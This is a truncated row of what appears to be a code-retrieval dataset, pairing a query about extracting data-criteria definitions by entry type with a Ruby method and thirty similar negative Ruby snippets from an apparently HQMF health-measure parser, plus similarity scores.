query
stringlengths 7
6.41k
| document
stringlengths 12
28.8k
| metadata
dict | negatives
sequencelengths 30
30
| negative_scores
sequencelengths 30
30
| document_score
stringlengths 5
10
| document_rank
stringclasses 2
values |
---|---|---|---|---|---|---|
Extract the definition (sometimes status, sometimes other elements) of the data criteria based on the type | def extract_definition_from_type
if @entry.at_xpath('./cda:grouperCriteria')
@definition ||= 'derived'
return
end
# See if we can find a match for the entry definition value and status.
entry_type = attr_val('./*/cda:definition/*/cda:id/@extension')
handle_entry_type(entry_type)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_definition_from_type\n # If we have a specific occurrence of a variable, pull attributes from the reference.\n # IDEA set this up to be called from dc_specific_and_source_extract, the number of\n # fields changed by handle_specific_variable_ref may pose an issue.\n extract_information_for_specific_variable if @variable && @specific_occurrence\n\n if @entry.at_xpath('./cda:grouperCriteria')\n @definition ||= 'derived'\n return\n end\n # See if we can find a match for the entry definition value and status.\n entry_type = attr_val('./*/cda:definition/*/cda:id/@extension')\n handle_entry_type(entry_type)\n end",
"def extract_definition_from_entry_type(entry_type)\n case entry_type\n when 'Problem', 'Problems'\n 'diagnosis'\n when 'Encounter', 'Encounters'\n 'encounter'\n when 'LabResults', 'Results'\n 'laboratory_test'\n when 'Procedure', 'Procedures'\n 'procedure'\n when 'Demographics'\n definition_for_demographic\n when 'Derived'\n 'derived'\n else\n fail \"Unknown data criteria template identifier [#{entry_type}]\"\n end\n end",
"def parse_description(descriptions, type)\n desc = descriptions.select{|desc| desc[\"label\"] == \"#{type}\" }\n return desc.first[\"data\"] unless desc.empty?\n return \"N/A\"\nend",
"def rules_for_type(type)\n FILTER_VALUES.each do |rule|\n return rule if rule[:type] == type\n end\n nil\n end",
"def handle_entry_type(entry_type)\n # settings is required to trigger exceptions, which set the definition\n HQMF::DataCriteria.get_settings_for_definition(entry_type, @status)\n @definition = entry_type\n rescue\n # if no exact match then try a string match just using entry definition value\n case entry_type\n when 'Medication', 'Medications'\n @definition = 'medication'\n @status = 'active' unless @status\n when 'RX'\n @definition = 'medication'\n @status = 'dispensed' unless @status\n when nil\n definition_for_nil_entry\n else\n @definition = extract_definition_from_entry_type(entry_type)\n end\n end",
"def handle_entry_type(entry_type)\n # settings is required to trigger exceptions, which set the definition\n HQMF::DataCriteria.get_settings_for_definition(entry_type, @status)\n @definition = entry_type\n rescue\n # if no exact match then try a string match just using entry definition value\n case entry_type\n when 'Medication', 'Medications'\n @definition = 'medication'\n @status = 'active' unless @status\n when 'RX'\n @definition = 'medication'\n @status = 'dispensed' unless @status\n when nil\n definition_for_nil_entry\n else\n @definition = extract_definition_from_entry_type(entry_type)\n end\n end",
"def get_data_elements_by_type(patient, type)\n matches = []\n patient.dataElements.each do |data_element|\n matches << data_element if data_element[:_type] == type\n end\n matches\n end",
"def get_type(addr_results, type)\n addr_results.select { |comp| comp[\"types\"].index(type) != nil }.map { |comp| comp[\"long_name\"] }.first\n end",
"def find_by_type(type)\n find{|contact_detail|\n contact_detail[:type] == type\n }.try{|contact_detail|\n contact_detail[:value]\n }\n end",
"def display_info_by_attribute(type, attribute_val)\n if type == 1\n result = Contact.where(first_name: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with first name #{attribute_val} not found.\"}\n else\n # see private method section for load_people\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 2\n result = Contact.where(last_name: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with last name #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 3\n result = Contact.where(email: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with email #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n elsif type == 4\n result = Contact.where(notes: attribute_val)\n if result.empty?\n {status: false, error: \"\\nContact with notes: #{attribute_val} not found.\"}\n else\n {status: true, contact: load_people(result)}\n end\n\n end\n end",
"def available(def_type)\n return nil unless def_type\n\n def_type_split = def_type.split('-')\n filters = def_type_split[1..-1]\n @filter = {}\n filters.each do |filter|\n if filter\n fs = filter.split('+')\n @filter[fs.first] = fs.last\n end\n end\n @filter.symbolize_keys!\n @filter = nil unless @filter.first\n\n @def_class = def_type_split.first\n Available[@def_class]\n end",
"def get_definition()\n html_def = @noko.css(\"li.g:first-of-type\")\n local_word_info = Hash.new\n local_word_info[:title] = html_def.css(\"h3 span\")[0].text\n\n if local_word_info[:title].ascii_only?\n local_word_info[:title] = local_word_info[:title].upcase\n else\n local_word_info[:title] = make_readable(local_word_info[:title]).upcase\n end\n\n local_word_info[:types_definitions] = []\n html_def.css(\"tr\").each do |e|\n # puts e\n if e.to_s =~ /<div/\n definitions = Hash.new\n definitions[:type] = e.css(\"div\")[0].text.upcase\n definitions[:definitions] = []\n e.css(\"li\").each do |li|\n definitions[:definitions] << li.text\n end\n local_word_info[:types_definitions] << definitions\n end\n end\n\n return local_word_info\n end",
"def create_group_data_criteria(preconditions, type, value, parent_id, id, standard_category, qds_data_type)\n extract_group_data_criteria_tree(HQMF::DataCriteria::UNION,preconditions, type, parent_id)\n end",
"def search_rdata_type( rr )\n rdata_ary = []\n RDATA_OF_RR[rr[:type]].each{|rdata_type|\n rdata_ary << [rdata_type, rr[rdata_type]]\n }\n rdata_ary\n end",
"def find_by_type(types); end",
"def find_by_type(types); end",
"def collect_specimens(data, xschema)\n# specimens = data.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n specimens = data\n missing = Array.new\n filtered_specimens = Array.new\n # Make sure that the data we've found of these types actually matches an\n # expected template for cell lines, strains, or stages\n specimens.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n if !( \n attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? && \n attrs.find { |a| a[\"heading\"] == \"Cell Type cv\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"developmental stage\" }.nil? &&\n attrs.find { |a| a[\"heading\"] == \"strain\" }.nil? \n ) then\n # This datum has an attribute with one of the above headings. All of\n # the headings being checked are from the wiki, and as such are\n # somewhat controlled by templates\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"type\"] == \"modencode:reference\" } then\n # This datum references a datum in an older submission (as with the\n # Celinker RNA samples), so we'll keep it in case it turns out to be an\n # antibody, strain, stage, or cell line\n ref_attr = attrs.find_all { |attr| attr[\"type\"] == \"modencode:reference\" }\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif attrs.find { |attr| attr[\"heading\"] =~ /Characteristics?/ } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"heading\"] =~ /Anonymous Datum/ && d[\"type\"] =~ /MO:((whole_)?organism(_part)?)/ then\n # Occasionally we don't specify the piece of the organism that is\n # collected except as an anonymous output between two protocols. This\n # serves to capture at least whether we've got a whole organism or part\n # of one\n d[\"attributes\"] = Array.new\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:(whole_)?organism/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /developmental_stage/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ADF/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /SO:RNAi_reagent/ then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /MO:GrowthCondition/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"type\"] =~ /MO:Compound/i } then\n d[\"attributes\"] = attrs\n filtered_specimens.push d\n elsif d[\"type\"] =~ /modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)/ then\n d[\"attributes\"] = nil\n filtered_specimens.push d\n elsif attrs.find { |a| a[\"heading\"] == \"RNA ID\" } then\n # Ignore RNA collections\n elsif d[\"value\"].length == 0\n # Ignore empty (probably anonymous) cells\n elsif d[\"type\"] == \"modencode:GEO_record\"\n # Ignore GEO records that aren't references to old submissions\n else\n # Track any specimens that didn't fall into one of the above categories\n # so we can add support for them to the code.\n missing.push d\n end\n }\n # Make sure the list of specimens is unique\n filtered_specimens = filtered_specimens.uniq_by { |d| d[\"attributes\"].nil? ? d[\"value\"] : d[\"attributes\"] }\n\n missing = missing.find_all { |d| d[\"type\"] =~ /MO:((whole_)?organism(_part)?)|(developmental_)?stage|(worm|fly)_development:|RNA|cell(_line)?|strain_or_line|BioSample|modencode:ADF|MO:genomic_DNA|SO:RNAi_reagent|MO:GrowthCondition|modencode:ShortReadArchive_project_ID(_list)? \\(SRA\\)|MO:CellLine|modencode:GEO_record/ }\n # Whine about any missing specimens\n if missing.size > 0 then\n if missing.size > 1 then\n missing = missing[0...2].map { |d| d[\"value\"] + \" (#{d[\"type\"]})\" }.join(\", \") + \", and #{missing.size - 2} more\"\n else\n missing = missing[0][\"value\"] + \" (#{missing[0][\"type\"]})\"\n end\n puts \"Unknown type of specimen: #{missing} for submission #{xschema}\"\n end\n\n return filtered_specimens\n\n end",
"def content_definition_from_essence_type(element, essence_type)\n {\n 'type' => essence_type,\n 'name' => content_name_from_element_and_essence_type(element, essence_type)\n }\n end",
"def find_type\n if @job_condition\n @type = (row[88].chr == 'C') ? 'PAYMENT' : 'CORRESP'\n end\n end",
"def pluck_sir_trevor_type(json, type) \n hash = JSON.parse(json)\n if hash.has_key?(\"data\")\n item = hash[\"data\"].select { |item| item[\"type\"] == type }\n item.first\n end\n end",
"def data_criteria\n return nil unless self['hqmf_document'] and self['hqmf_document']['data_criteria']\n self['hqmf_document']['data_criteria'].map { |key, val| { key => val } }\n end",
"def data_criteria\n return nil unless self['hqmf_document'] and self['hqmf_document']['data_criteria']\n self['hqmf_document']['data_criteria'].map { |key, val| { key => val } }\n end",
"def definition_for_nil_entry\n reference = @entry.at_xpath('./*/cda:outboundRelationship/cda:criteriaReference', HQMF2::Document::NAMESPACES)\n ref_id = nil\n unless reference.nil?\n ref_id = \"#{HQMF2::Utilities.attr_val(reference, 'cda:id/@extension')}_#{HQMF2::Utilities.attr_val(reference, 'cda:id/@root')}\"\n end\n reference_criteria = @data_criteria_references[strip_tokens(ref_id)] unless ref_id.nil?\n if reference_criteria\n # we only want to copy the reference criteria definition, status, and code_list_id if this is this is not a grouping criteria (i.e., there are no children)\n if @children_criteria.blank?\n @definition = reference_criteria.definition\n @status = reference_criteria.status\n if @specific_occurrence\n @title = reference_criteria.title\n @description = reference_criteria.description\n @code_list_id = reference_criteria.code_list_id\n end\n else\n # if this is a grouping data criteria (has children) mark it as derived and only pull title and description from the reference criteria\n @definition = 'derived'\n if @specific_occurrence\n @title = reference_criteria.title\n @description = reference_criteria.description\n end\n end\n else\n puts \"MISSING_DC_REF: #{ref_id}\" unless @variable\n @definition = 'variable'\n end\n end",
"def get_data_type_from_body(body)\n return nil unless body\n body['_data_type'] || body['type']\n end",
"def get_by_type(type)\r\n facts2typerule = {:methodcall => [:cant_access, :can_access],\r\n :inheritance => [:cant_extend, :can_extend],\r\n :objcreation => [:cant_create, :can_create]}\r\n\r\n find_all { |x| facts2typerule[type].index(x.type_interaction) != nil }\r\n end",
"def typus_fields_for(filter)\n\n fields_with_type = ActiveSupport::OrderedHash.new\n\n begin\n fields = Typus::Configuration.config[name]['fields'][filter.to_s]\n fields = fields.extract_settings.collect { |f| f.to_sym }\n rescue\n return [] if filter == 'default'\n filter = 'default'\n retry\n end\n\n begin\n\n fields.each do |field|\n\n attribute_type = model_fields[field]\n\n if reflect_on_association(field)\n attribute_type = reflect_on_association(field).macro\n end\n\n if typus_field_options_for(:selectors).include?(field)\n attribute_type = :selector\n end\n\n # Custom field_type depending on the attribute name.\n case field.to_s\n when 'parent', 'parent_id' then attribute_type = :tree\n when /password/ then attribute_type = :password\n when 'position' then attribute_type = :position\n when /\\./ then attribute_type = :transversal\n end\n\n if respond_to?(:attachment_definitions) && attachment_definitions.try(:has_key?, field)\n attribute_type = :file\n end\n\n # And finally insert the field and the attribute_type\n # into the fields_with_type ordered hash.\n fields_with_type[field.to_s] = attribute_type\n\n end\n\n rescue\n fields = Typus::Configuration.config[name]['fields']['default'].extract_settings\n retry\n end\n\n return fields_with_type\n\n end",
"def describe(type)\n @doc.xpath(\"//#{type}\").first\n end",
"def describe(type)\n @doc.xpath(\"//#{type}\").first\n end",
"def get_data(type, change_id = nil)\n case type\n when \"details\"\n when \"messages\"\n when \"basic\"\n else\n end\nend",
"def parseData(result, type, data)\n if (type == \"crc\")\n if (data =~ /^0x(.*)$/)\n data = $1\n end\n elsif (type == \"docs\")\n data =~ /^(\\d+)\\/(\\d+)$/ or die \"Invalid doc entry #{data}\"\n result[\"unique_docs\"] = $1.to_i\n result[\"meta_entries\"] = $2.to_i\n return\n elsif (type == \"bytes\")\n data =~ /^(\\d+)\\/(\\d+)$/ or die \"Invalid bytes entry #{data}\"\n result[\"unique_docs_size\"] = $1.to_i\n result[\"utilized_file_size\"] = $2.to_i\n return\n elsif (type == \"trusted\" || type == \"active\" || type == \"ready\")\n result[type] = (data =~ /^true$/i ? true : false)\n return\n end\n result[type] = data\n end"
] | [
"0.70877635",
"0.6724213",
"0.58134764",
"0.57925254",
"0.574444",
"0.574444",
"0.574274",
"0.5699976",
"0.56855583",
"0.5670207",
"0.56222254",
"0.55708593",
"0.5534504",
"0.55274004",
"0.55194914",
"0.55194914",
"0.5469185",
"0.5465795",
"0.5447588",
"0.54367334",
"0.5417794",
"0.5417794",
"0.53992444",
"0.53912055",
"0.5364354",
"0.53496367",
"0.53327894",
"0.53323764",
"0.5323477",
"0.53149855"
] | 0.70942426 | 0 |
Generate the definition and/or status from the entry type in most cases. If the entry type is nil, and the value is a specific occurrence, more parsing may be necessary. | def handle_entry_type(entry_type)
# settings is required to trigger exceptions, which set the definition
HQMF::DataCriteria.get_settings_for_definition(entry_type, @status)
@definition = entry_type
rescue
# if no exact match then try a string match just using entry definition value
case entry_type
when 'Medication', 'Medications'
@definition = 'medication'
@status = 'active' unless @status
when 'RX'
@definition = 'medication'
@status = 'dispensed' unless @status
when nil
definition_for_nil_entry
else
@definition = extract_definition_from_entry_type(entry_type)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_definition_from_entry_type(entry_type)\n case entry_type\n when 'Problem', 'Problems'\n 'diagnosis'\n when 'Encounter', 'Encounters'\n 'encounter'\n when 'LabResults', 'Results'\n 'laboratory_test'\n when 'Procedure', 'Procedures'\n 'procedure'\n when 'Demographics'\n definition_for_demographic\n when 'Derived'\n 'derived'\n else\n fail \"Unknown data criteria template identifier [#{entry_type}]\"\n end\n end",
"def extract_definition_from_type\n if @entry.at_xpath('./cda:grouperCriteria')\n @definition ||= 'derived'\n return\n end\n # See if we can find a match for the entry definition value and status.\n entry_type = attr_val('./*/cda:definition/*/cda:id/@extension')\n handle_entry_type(entry_type)\n end",
"def extract_definition_from_type\n # If we have a specific occurrence of a variable, pull attributes from the reference.\n # IDEA set this up to be called from dc_specific_and_source_extract, the number of\n # fields changed by handle_specific_variable_ref may pose an issue.\n extract_information_for_specific_variable if @variable && @specific_occurrence\n\n if @entry.at_xpath('./cda:grouperCriteria')\n @definition ||= 'derived'\n return\n end\n # See if we can find a match for the entry definition value and status.\n entry_type = attr_val('./*/cda:definition/*/cda:id/@extension')\n handle_entry_type(entry_type)\n end",
"def entrytype=(value)\n\t\t\t\n\t\t\tvalue = value.downcase\n\t\t\t\n\t\t\tvalid_entry_types = [\n\t\t\t\t'article', 'book', 'booklet',\n\t\t\t\t'conference', 'inbook', 'incollection',\n\t\t\t\t'inproceedings', 'manual', 'mastersthesis',\n\t\t\t\t'misc', 'phdthesis', 'proceedings',\n\t\t\t\t'techreport', 'unpublished'\n\t\t\t]\n\t\t\t\n\t\t\tif !valid_entry_types.include?(value)\n\t\t\t\tRails.logger.info(\"Invalid entry type found (#{value})\")\n\t\t\tend\n\t\t\t\n\t\t\t@entrytype = value\n\t\t\t\n\t\t\t@type = case @entrytype\n\t\t\t\twhen 'article' \t\t\t\t\t\tthen 'An article from a journal or magazine.'\n\t\t\t\twhen 'book' \t\t\t\t\t\t\tthen 'A book with an explicit publisher.'\n\t\t\t\twhen 'booklet' \t\t\t\t\t\tthen 'A work that is printed and bound, but without a named publisher or sponsering institution.'\n\t\t\t\twhen 'conference' \t\t\t\tthen 'An article in a conference proceedings.'\n\t\t\t\twhen 'inbook' \t\t\t\t\t\tthen 'A part of a book.'\n\t\t\t\twhen 'incollection' \t\t\tthen 'A part of a book having its own title.'\n\t\t\t\twhen 'inproceedings'\t\t\tthen 'An article in a conference proceedings.'\n\t\t\t\twhen 'manual' \t\t\t\t\t\tthen 'Technical documentation.'\n\t\t\t\twhen 'mastersthesis' \t\t\tthen 'A Master\\'s thesis.'\n\t\t\t\twhen 'misc' \t\t\t\t\t\t\tthen ''\n\t\t\t\twhen 'phdthesis' \t\t\t\t\tthen 'A PhD thesis.'\n\t\t\t\twhen 'proceedings' \t\t\t\tthen 'The proceedings of a conference.'\n\t\t\t\twhen 'techreport' \t\t\t\tthen 'A report published by a school or other institution.'\n\t\t\t\twhen 'unpublished' \t\t\t\tthen 'A document having an author and title, but not formally published.'\t\t\t\t\n\t\t\tend\n\t\t\t\n\t\tend",
"def entry_type\n @entry_type ||= ENTRY_TYPES[int_type]\n end",
"def entry_data_class(entry_type)\n transpiler = self # method-local binding to be available in Class.new block\n\n Class.new(Framework::Definition::EntryData) do\n define_singleton_method :model_name do\n entry_type.to_s.capitalize.singularize\n end\n\n # invoice_fields or contract_fields\n _field_defs = transpiler.ast.field_defs(entry_type)\n _total_value_def = _field_defs.find { |f| f[:field] == 'TotalValue' }\n\n total_value_field _total_value_def[:from]\n\n _field_defs.each do |field_def|\n _name = field_def[:field] || field_def[:from]\n _type = field_def[:type]\n _options = { presence: true }.tap do |options|\n options[:exports_to] = field_def[:from]\n options[:allow_nil] = true if field_def[:optional]\n transpiler.add_lookup_validation(options, field_def, entry_type)\n end.compact\n\n field _name, _type, _options\n end\n end\n end",
"def entry_type= e\n self.update_attribute(:int_type, ENTRY_TYPES.index(e)) if ENTRY_TYPES.include?(e)\n end",
"def definition_for_nil_entry\n reference = @entry.at_xpath('./*/cda:outboundRelationship/cda:criteriaReference', HQMF2::Document::NAMESPACES)\n ref_id = nil\n unless reference.nil?\n ref_id = \"#{HQMF2::Utilities.attr_val(reference, 'cda:id/@extension')}_#{HQMF2::Utilities.attr_val(reference, 'cda:id/@root')}\"\n end\n reference_criteria = @data_criteria_references[strip_tokens(ref_id)] unless ref_id.nil?\n if reference_criteria\n # we only want to copy the reference criteria definition, status, and code_list_id if this is this is not a grouping criteria (i.e., there are no children)\n if @children_criteria.blank?\n @definition = reference_criteria.definition\n @status = reference_criteria.status\n if @specific_occurrence\n @title = reference_criteria.title\n @description = reference_criteria.description\n @code_list_id = reference_criteria.code_list_id\n end\n else\n # if this is a grouping data criteria (has children) mark it as derived and only pull title and description from the reference criteria\n @definition = 'derived'\n if @specific_occurrence\n @title = reference_criteria.title\n @description = reference_criteria.description\n end\n end\n else\n puts \"MISSING_DC_REF: #{ref_id}\" unless @variable\n @definition = 'variable'\n end\n end",
"def entry_type_name\n if self.new_design?\n self.new_entry_type_name\n elsif self.dot_rev_design?\n self.dot_rev_entry_type_name\n else\n 'Entry Type Not Set'\n end\n end",
"def define_type_and_value\n if boolean?\n @type = :boolean\n @value = @arg[:boolValue]\n elsif string?\n @type = :string\n @value = @arg[:textValue]\n elsif datetime?\n @type = :datetime\n @value = @arg[:datetimeValue]\n elsif extension?\n @type = :extension\n @value = @arg[:extension]\n else\n @type = :unknown\n end\n end",
"def entry_status=(value)\n case value\n when \"有效的\", \"käytössä\", \"действующий\", \"válido\"\n value = \"valid\"\n when \"korvattu\", \"reemplazado\"\n value = \"superseded\"\n when \"информация отсутствует\" # \"information absent\"!?\n value = \"retired\"\n when %w(notValid valid superseded retired)\n # do nothing\n end\n @entry_status = value\n end",
"def parse_entry(raw_entry)\n match_data = /#{@entry_regexp}/.match(raw_entry)\n return nil unless match_data\n values = match_data.captures\n values.shift if @multiline\n entry_hash([raw_entry, values].flatten)\n end",
"def set_entry_type\n @entry_type = EntryType.find(params[:id])\n end",
"def initialize(entry)\n @entry = entry\n @code_list_xpath = 'cda:act/cda:sourceOf//cda:code/@code'\n template_id = attr_val('cda:act/cda:templateId/@root')\n case template_id\n when '2.16.840.1.113883.3.560.1.2'\n @type = :diagnosis\n @code_list_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:value/@code'\n @status_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:sourceOf/cda:observation/cda:value/@displayName'\n when '2.16.840.1.113883.3.560.1.3'\n @type = :procedure\n @status_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:statusCode/@code'\n when '2.16.840.1.113883.3.560.1.4'\n @type = :encounter\n when '2.16.840.1.113883.3.560.1.5'\n @type = :result\n @status_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:statusCode/@code'\n when '2.16.840.1.113883.3.560.1.6'\n @type = :procedure\n when '2.16.840.1.113883.3.560.1.8'\n @type = :medication\n @code_list_xpath = 'cda:act/cda:sourceOf/cda:supply/cda:participant/cda:roleParticipant/cda:playingMaterial/cda:code/@code'\n when '2.16.840.1.113883.3.560.1.13'\n @type = :medication\n @code_list_xpath = 'cda:act/cda:sourceOf/cda:substanceAdministration/cda:participant/cda:roleParticipant/cda:playingMaterial/cda:code/@code'\n @status_xpath = 'cda:act/cda:sourceOf/cda:substanceAdministration/cda:sourceOf/cda:observation/cda:value/@displayName'\n when '2.16.840.1.113883.3.560.1.14'\n @type = :medication\n when '2.16.840.1.113883.3.560.1.17'\n @type = :medication\n @code_list_xpath = 'cda:act/cda:sourceOf/cda:substanceAdministration/cda:participant/cda:roleParticipant/cda:playingMaterial/cda:code/@code'\n when '2.16.840.1.113883.3.560.1.25'\n @type = :characteristic\n @property = :birthtime\n when '2.16.840.1.113883.3.560.1.1001'\n @type = :characteristic\n @code_list_xpath = 'cda:act/cda:sourceOf/cda:observation/cda:value/@code'\n @property = :gender\n else\n raise \"Unknown data criteria template identifier [#{template_id}]\"\n end\n end",
"def define_struct\n fields = (@entry_fields + [:raw_entry]).sort_by{|key|key.to_s}\n verbose = $VERBOSE\n $VERBOSE = nil\n Struct.new( \"Entry\", *fields )\n $VERBOSE = verbose\n end",
"def build_from_hash(value)\n constantValues = ReturnItemDisposition.constants.select { |c| ReturnItemDisposition::const_get(c) == value }\n raise \"Invalid ENUM value #{value} for class #ReturnItemDisposition\" if constantValues.empty?\n value\n end",
"def parse_value(val, type)\n return nil if val.nil? || val.to_s.strip == ''\n \n case type\n when :raw then\n val\n \n when :string then\n if val.is_a?(Float)\n # Sometimes float values come in for \"integer\" columns from Excel,\n # so if the user asks for a string, strip off that \".0\" if present\n val.to_s.gsub(/\\.0+$/, '')\n else\n # Strip whitespace and we're good to go\n val.to_s.strip\n end\n \n when :integer, :int then \n if val.class < Numeric\n # If numeric, verify that there's no decimal places to worry about\n if (val.to_f % 1.0 == 0.0)\n val.to_i\n else\n nil\n end\n else \n # Convert to string, strip off trailing decimal zeros\n val = val.to_s.strip.gsub(/\\.0*$/, '')\n if val.integer?\n val.to_i\n else\n nil\n end\n end\n \n when :float then\n if val.class < Numeric\n val.to_f\n else \n # Clean up then verify it matches a valid float format & convert\n val = val.to_s.strip\n if val.match(/\\A-?[0-9]+(?:\\.[0-9]+)?\\z/)\n val.to_f\n else\n nil\n end\n end\n \n when :cents then\n if val.is_a?(String)\n val = val.gsub(/\\s*\\$\\s*/, '')\n end\n intval = parse_value(val, :integer)\n if !val.is_a?(Float) && intval\n intval * 100\n else\n floatval = parse_value(val, :float)\n if floatval\n (floatval * 100).round\n else\n nil\n end\n end\n \n when :date then\n # Pull out the date part of the string and convert\n date_str = val.to_s.extract(/[0-9]+[\\-\\/][0-9]+[\\-\\/][0-9]+/)\n date_str.to_date rescue nil\n \n when :bool then\n val_str = parse_value(val, :string).to_s.downcase\n if ['true','yes','y','t','1'].include?(val_str)\n return true\n elsif ['false','no','n','f','0'].include?(val_str)\n return false\n else\n nil\n end\n \n else\n raise \"Unknown column type #{type.inspect} - unimplemented?\"\n end\n end",
"def content_definition_from_essence_type(element, essence_type)\n {\n 'type' => essence_type,\n 'name' => content_name_from_element_and_essence_type(element, essence_type)\n }\n end",
"def build_from_hash(value)\n constantValues = AnnotationType.constants.select { |c| AnnotationType::const_get(c) == value }\n raise \"Invalid ENUM value #{value} for class #AnnotationType\" if constantValues.empty?\n value\n end",
"def parse_description(descriptions, type)\n desc = descriptions.select{|desc| desc[\"label\"] == \"#{type}\" }\n return desc.first[\"data\"] unless desc.empty?\n return \"N/A\"\nend",
"def setup_derived_entry_elements(id_generator)\n @hqmf_id = attr_val('./*/cda:id/@root') || attr_val('./*/cda:typeId/@extension')\n @title = attr_val('./*/cda:code/cda:displayName/@value').try(:titleize)\n @type = attr_val('./*/cda:code/@code')\n @comments = @entry.xpath('./*/cda:text/cda:xml/cda:qdmUserComments/cda:item/text()', HQMF2::Document::NAMESPACES)\n .map(&:content)\n handle_preconditions(id_generator)\n obs_test = attr_val('./cda:measureObservationDefinition/@classCode')\n # If there are no measure observations, or there is a title, then there are no aggregations to extract\n return unless !@title && obs_test.to_s == 'OBS'\n @title = attr_val('../cda:code/cda:displayName/@value')\n @aggregator = attr_val('./cda:measureObservationDefinition/cda:methodCode/cda:item/@code')\n end",
"def parseData(result, type, data)\n if (type == \"crc\")\n if (data =~ /^0x(.*)$/)\n data = $1\n end\n elsif (type == \"docs\")\n data =~ /^(\\d+)\\/(\\d+)$/ or die \"Invalid doc entry #{data}\"\n result[\"unique_docs\"] = $1.to_i\n result[\"meta_entries\"] = $2.to_i\n return\n elsif (type == \"bytes\")\n data =~ /^(\\d+)\\/(\\d+)$/ or die \"Invalid bytes entry #{data}\"\n result[\"unique_docs_size\"] = $1.to_i\n result[\"utilized_file_size\"] = $2.to_i\n return\n elsif (type == \"trusted\" || type == \"active\" || type == \"ready\")\n result[type] = (data =~ /^true$/i ? true : false)\n return\n end\n result[type] = data\n end",
"def build_from_hash(value)\n constantValues = ContactType.constants.select { |c| ContactType::const_get(c) == value }\n raise \"Invalid ENUM value #{value} for class #ContactType\" if constantValues.empty?\n value\n end",
"def build_value_for_element valueSet, value\n if value.nil?\n return {\n \"type\" => \"CD\",\n \"code_list_id\" => valueSet[\"id\"],\n \"title\" => valueSet[\"name\"],\n }\n else\n if value and value[\"type\"]\n if value[\"type\"] == \"present\"\n return {\"type\" => \"ANYNonNull\" }\n elsif value[\"type\"] == \"value\"\n return build_range_hash(false, value[\"operator\"], value[\"units\"][\"id\"], value[\"valueLow\"], value[\"valueHigh\"])\n end\n end\n end\n nil\n end",
"def initialize(type:, data: nil)\n @type = type\n data = @type.default_data if data.nil?\n @entries = @type.parse(read_data(data))\n end",
"def create\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type = EntryType.new(params[:entry_type])\n @entry_type.field_type_ids = field_type_ids\n @entry_type.form_code = build_form_code(@entry_type.field_types)\n @entry_type.model_code = build_model_code(@entry_type.name, @entry_type.field_types)\n @entry_type.model = build_model_from_code(@entry_type)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully created.' }\n format.json { render json: @entry_type, status: :created, location: @entry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def build_from_hash(value)\n constantValues = DocumentFormat.constants.select { |c| DocumentFormat::const_get(c) == value }\n raise \"Invalid ENUM value #{value} for class #DocumentFormat\" if constantValues.empty?\n value\n end",
"def parse_type(msg, type = nil, multiple = false, initial = false, default = nil)\n # Sanitize default type\n default = nil if !['level', 'episode', 'story'].include?(default.to_s.downcase)\n\n # First, parse the parameter we sent\n type = type.to_s.capitalize.constantize unless type.nil?\n return type if !multiple && ['level', 'episode', 'story'].include?(type.to_s.downcase)\n\n # If it's not correct, then parse message\n ret = []\n multiple ? ret << Level : (return Level) if !!msg[/\\blevels?\\b/i] || !!msg[/lotd/i]\n multiple ? ret << Episode : (return Episode) if !!msg[/\\bepisodes?\\b/i] || !!msg[/eotw/i]\n multiple ? ret << Story : (return Story) if !!msg[/\\bstory\\b/i] || !!msg[/\\bstories\\b/i] || !!msg[/\\bcolumn?\\b/i] || !!msg[/\\bhard\\s*core\\b/i] || !!msg[/\\bhc\\b/i] || !!msg[/cotm/i]\n\n if multiple\n # If still empty (and initial), push default types\n if initial && ret.empty?\n default.nil? ? ret.push(*DEFAULT_TYPES.map(&:constantize)) : ret.push(default.to_s.capitalize.constantize)\n end\n\n # If \"overall\" is matched, push default types too\n if !!msg[/\\boverall\\b/i]\n ret.push(*DEFAULT_TYPES.map(&:constantize))\n end\n\n # Also, toggle the type we sent (add or remove) (see rankings navigation)\n ret.include?(type) ? ret.delete(type) : ret.push(type) if !type.nil?\n ret.uniq!\n else\n # If not multiple, we return either the default we sent, or nil (type not found)\n ret = !default.nil? ? default.to_s.capitalize.constantize : nil\n end\n\n ret\nend",
"def get_entry_time_type_code\n entry_time_type ? entry_time_type.code : 'M'\n end",
